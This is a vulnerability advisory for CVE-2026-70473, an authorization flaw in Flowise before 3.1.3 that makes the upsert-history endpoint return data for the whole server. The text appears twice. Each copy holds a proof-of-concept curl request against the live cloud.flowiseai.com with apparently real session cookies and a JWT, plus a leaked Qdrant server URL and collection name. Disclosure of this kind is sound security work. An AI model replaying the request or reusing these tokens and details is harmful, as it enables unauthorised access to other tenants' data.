CVE-2026-70473

Flowise is a drag-and-drop user interface for building customized large language model (LLM) flows. Prior to 3.1.3, Flowise GET /api/v1/upsert-history returns the entire server-wide upsert history instead of being scoped to the requesting user, tenant, or workspace. The response can exceed 100MB and includes sensitive configuration data, including Vector Store settings such as Qdrant Server URL and collection name. The observed behavior indicates missing or insufficient authorization checks, workspace/project/tenant isolation, and pagination or limits, exposing integration parameters and infrastructure details that may enable further targeted attacks. This issue is fixed in version 3.1.3.

Flowise is a drag-and-drop user interface for building customized large language model (LLM) flows. Prior to 3.1.3, Flowise GET /api/v1/upsert-history returns the entire server-wide upsert history instead of being scoped to the requesting user, tenant, or workspace. The response can exceed 100MB and includes sensitive configuration data, including Vector Store settings such as Qdrant Server URL and collection name. The observed behavior indicates missing or insufficient authorization checks, workspace/project/tenant isolation, and pagination or limits, exposing integration parameters and infrastructure details that may enable further targeted attacks. This issue is fixed in version 3.1.3.

Summary

The GET /api/v1/upsert-history endpoint returns the entire server-wide upsert history (response size >100MB) instead of being scoped to the requesting user/tenant/workspace. The response includes sensitive configuration data (e.g., Vector Store settings such as Qdrant Server URL and collection name), resulting in a High severity information disclosure that may enable further targeted attacks.

Details

• Affected endpoint: GET /api/v1/upsert-history
• Observed behavior: The API returns global upsert history for the whole server, indicating missing/insufficient:
  • Authorization checks (RBAC/user-based access control)
  • Data scoping (workspace/project/tenant isolation)
  • Pagination/limits (excessive data exposure and very large responses)
• Sensitive data exposure: The returned history contains integration parameters and infrastructure details. Example excerpt from the response:

  {
    "label": "Qdrant",
    "name": "qdrant",
    "category": "Vector Stores",
    "id": "qdrant_0",
    "paramValues": [
      {
        "label": "Qdrant Server URL",
        "name": "qdrantServerUrl",
        "type": "string",
        "value": "https://7f60f255-f7fd-4a1c-a734-fbcf904f9f85.europe-west3-0.gcp.cloud.qdrant.io"
      },
      {
        "label": "Qdrant Collection Name",
        "name": "qdrantCollection",
        "type": "string",
        "value": "fair-herring-azure"
      },
      {
        "label": "Vector Dimension",
        "name": "qdrantVectorDimension",
        "type": "number",
        "value": 1536
      },
      {
        "label": "Content Key",
        "name": "contentPayloadKey",
        "type": "string",
        "value": "content"
      },
      {
        "label": "Metadata Key",
        "name": "metadataPayloadKey",
        "type": "string",
        "value": "metadata"
      },
      {
        "label": "Similarity",
        "name": "qdrantSimilarity",
        "type": "options",
        "value": "Cosine"
      }
    ]
  }
  
  

POC

1. Using curl and call the enpoint GET /api/v1/upsert-history, sever returns the entire server-wide upsert history

curl 'https://cloud.flowiseai.com/api/v1/upsert-history'   -X GET   -H 'Host: cloud.flowiseai.com'   -H 'Accept: application/json, text/plain, */*'   -H 'Accept-Language: en-US,en;q=0.9'   -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0'   -H 'X-Request-From: internal'   -H 'Referer: https://cloud.flowiseai.com/document-stores/vector/27d7e649-72c9-4333-836f-0a32b7ecda57/719bc75c-5810-4d22-aa03-35c7831b8819'   -H 'If-None-Match: W/"156-Xbc+zqRKlJRZDUydYMybuU4SQnY"'   -H 'Connection: keep-alive'   -H 'Cookie: _ga_DG9QMLV4DR=GS2.1.s1773632276$o1$g0$t1773632915$j60$l0$h0; _ga=GA1.1.938844242.1773632276; cf_clearance=Ug4PTMCbO8G.9n7ibaRBT.Y74flswLTgbR6V4qQbKUE-1773715307-1.2.1.1-2XGkql2bE8imFOsQJuw0x8yM9XW7QWbEe8ALEZ39Bm03kZu.vJLusY5_cRurAooKcK0XuqTjWgibQXYwWF91LbQZIXFefNzXuz6f8O7VzY5VM_h9p0_xICarIdDdB0hWfriItN1qbu00tqEmDgE_v2biNpNETXF3nC0wByJmhNWOcSh95lBd_Q5vALJQ0hc7pzhbPh.OuLbLtcCOlEv1YbwZWMSynj3hglpCeVkWqkM; connect.sid=s%3Axrkhl0YSNjvydmo24ASe3ezLStuedRCv.JABLEZmfWP74D9zGvFyDEELHFXqvDxHRnN3mJBhsKX8; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJlNGUwYTI4LTNkMWEtNDc0Ny05NmYzLWI1YzE1YTA1NDg4YyIsInVzZXJuYW1lIjoiVHJ1b25nIE5ndXllbiIsIm1ldGEiOiJhYjFiNzVjZTNmZmMyMzAzMTMwMmYwOGQ2MzU2YjQ3NjoxMTUzNzk3NDU1YTRhMmVhMDc3YWM0ODExNmRjMjhiOTNmZDlmMzg0OTAxZjhlNDliZTk2NjczMGM3N2YyZTc0ZjVkODNkYTJjMjNlOWZjNWM5ZDdmYzQ1ZDY2MmM0NWQwZWQ3MTMzYmZiZTA1MTAxZGRjNjY4OGYxZTJiNDZjNWU2YjU5OTdjMmE3OWVjNjc2MWU5NDZhYTkyNjg3MDY4IiwiaWF0IjoxNzczNzEzNTk0LCJuYmYiOjE3NzM3MTM1OTQsImV4cCI6MTc3MzczNTE5NCwiYXVkIjoiQVVESUVOQ0UiLCJpc3MiOiJJU1NVRVIifQ.UDFurQPA6-bKQ7mZg0Qetu6yAv1UK3vaz27ZUhUoamc;…

Flowise is a drag-and-drop user interface for building customized large language model (LLM) flows. Prior to 3.1.3, Flowise GET /api/v1/upsert-history returns the entire server-wide upsert history instead of being scoped to the requesting user, tenant, or workspace. The response can exceed 100MB and includes sensitive configuration data, including Vector Store settings such as Qdrant Server URL and collection name. The observed behavior indicates missing or insufficient authorization checks, workspace/project/tenant isolation, and pagination or limits, exposing integration parameters and infrastructure details that may enable further targeted attacks. This issue is fixed in version 3.1.3.

Flowise is a drag-and-drop user interface for building customized large language model (LLM) flows. Prior to 3.1.3, Flowise GET /api/v1/upsert-history returns the entire server-wide upsert history instead of being scoped to the requesting user, tenant, or workspace. The response can exceed 100MB and includes sensitive configuration data, including Vector Store settings such as Qdrant Server URL and collection name. The observed behavior indicates missing or insufficient authorization checks, workspace/project/tenant isolation, and pagination or limits, exposing integration parameters and infrastructure details that may enable further targeted attacks. This issue is fixed in version 3.1.3.

Summary

The GET /api/v1/upsert-history endpoint returns the entire server-wide upsert history (response size >100MB) instead of being scoped to the requesting user/tenant/workspace. The response includes sensitive configuration data (e.g., Vector Store settings such as Qdrant Server URL and collection name), resulting in a High severity information disclosure that may enable further targeted attacks.

Details

• Affected endpoint: GET /api/v1/upsert-history
• Observed behavior: The API returns global upsert history for the whole server, indicating missing/insufficient:
  • Authorization checks (RBAC/user-based access control)
  • Data scoping (workspace/project/tenant isolation)
  • Pagination/limits (excessive data exposure and very large responses)
• Sensitive data exposure: The returned history contains integration parameters and infrastructure details. Example excerpt from the response:

  {
    "label": "Qdrant",
    "name": "qdrant",
    "category": "Vector Stores",
    "id": "qdrant_0",
    "paramValues": [
      {
        "label": "Qdrant Server URL",
        "name": "qdrantServerUrl",
        "type": "string",
        "value": "https://7f60f255-f7fd-4a1c-a734-fbcf904f9f85.europe-west3-0.gcp.cloud.qdrant.io"
      },
      {
        "label": "Qdrant Collection Name",
        "name": "qdrantCollection",
        "type": "string",
        "value": "fair-herring-azure"
      },
      {
        "label": "Vector Dimension",
        "name": "qdrantVectorDimension",
        "type": "number",
        "value": 1536
      },
      {
        "label": "Content Key",
        "name": "contentPayloadKey",
        "type": "string",
        "value": "content"
      },
      {
        "label": "Metadata Key",
        "name": "metadataPayloadKey",
        "type": "string",
        "value": "metadata"
      },
      {
        "label": "Similarity",
        "name": "qdrantSimilarity",
        "type": "options",
        "value": "Cosine"
      }
    ]
  }
  
  

POC

1. Using curl and call the enpoint GET /api/v1/upsert-history, sever returns the entire server-wide upsert history

curl 'https://cloud.flowiseai.com/api/v1/upsert-history'   -X GET   -H 'Host: cloud.flowiseai.com'   -H 'Accept: application/json, text/plain, */*'   -H 'Accept-Language: en-US,en;q=0.9'   -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0'   -H 'X-Request-From: internal'   -H 'Referer: https://cloud.flowiseai.com/document-stores/vector/27d7e649-72c9-4333-836f-0a32b7ecda57/719bc75c-5810-4d22-aa03-35c7831b8819'   -H 'If-None-Match: W/"156-Xbc+zqRKlJRZDUydYMybuU4SQnY"'   -H 'Connection: keep-alive'   -H 'Cookie: _ga_DG9QMLV4DR=GS2.1.s1773632276$o1$g0$t1773632915$j60$l0$h0; _ga=GA1.1.938844242.1773632276; cf_clearance=Ug4PTMCbO8G.9n7ibaRBT.Y74flswLTgbR6V4qQbKUE-1773715307-1.2.1.1-2XGkql2bE8imFOsQJuw0x8yM9XW7QWbEe8ALEZ39Bm03kZu.vJLusY5_cRurAooKcK0XuqTjWgibQXYwWF91LbQZIXFefNzXuz6f8O7VzY5VM_h9p0_xICarIdDdB0hWfriItN1qbu00tqEmDgE_v2biNpNETXF3nC0wByJmhNWOcSh95lBd_Q5vALJQ0hc7pzhbPh.OuLbLtcCOlEv1YbwZWMSynj3hglpCeVkWqkM; connect.sid=s%3Axrkhl0YSNjvydmo24ASe3ezLStuedRCv.JABLEZmfWP74D9zGvFyDEELHFXqvDxHRnN3mJBhsKX8; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjJlNGUwYTI4LTNkMWEtNDc0Ny05NmYzLWI1YzE1YTA1NDg4YyIsInVzZXJuYW1lIjoiVHJ1b25nIE5ndXllbiIsIm1ldGEiOiJhYjFiNzVjZTNmZmMyMzAzMTMwMmYwOGQ2MzU2YjQ3NjoxMTUzNzk3NDU1YTRhMmVhMDc3YWM0ODExNmRjMjhiOTNmZDlmMzg0OTAxZjhlNDliZTk2NjczMGM3N2YyZTc0ZjVkODNkYTJjMjNlOWZjNWM5ZDdmYzQ1ZDY2MmM0NWQwZWQ3MTMzYmZiZTA1MTAxZGRjNjY4OGYxZTJiNDZjNWU2YjU5OTdjMmE3OWVjNjc2MWU5NDZhYTkyNjg3MDY4IiwiaWF0IjoxNzczNzEzNTk0LCJuYmYiOjE3NzM3MTM1OTQsImV4cCI6MTc3MzczNTE5NCwiYXVkIjoiQVVESUVOQ0UiLCJpc3MiOiJJU1NVRVIifQ.UDFurQPA6-bKQ7mZg0Qetu6yAv1UK3vaz27ZUhUoamc;…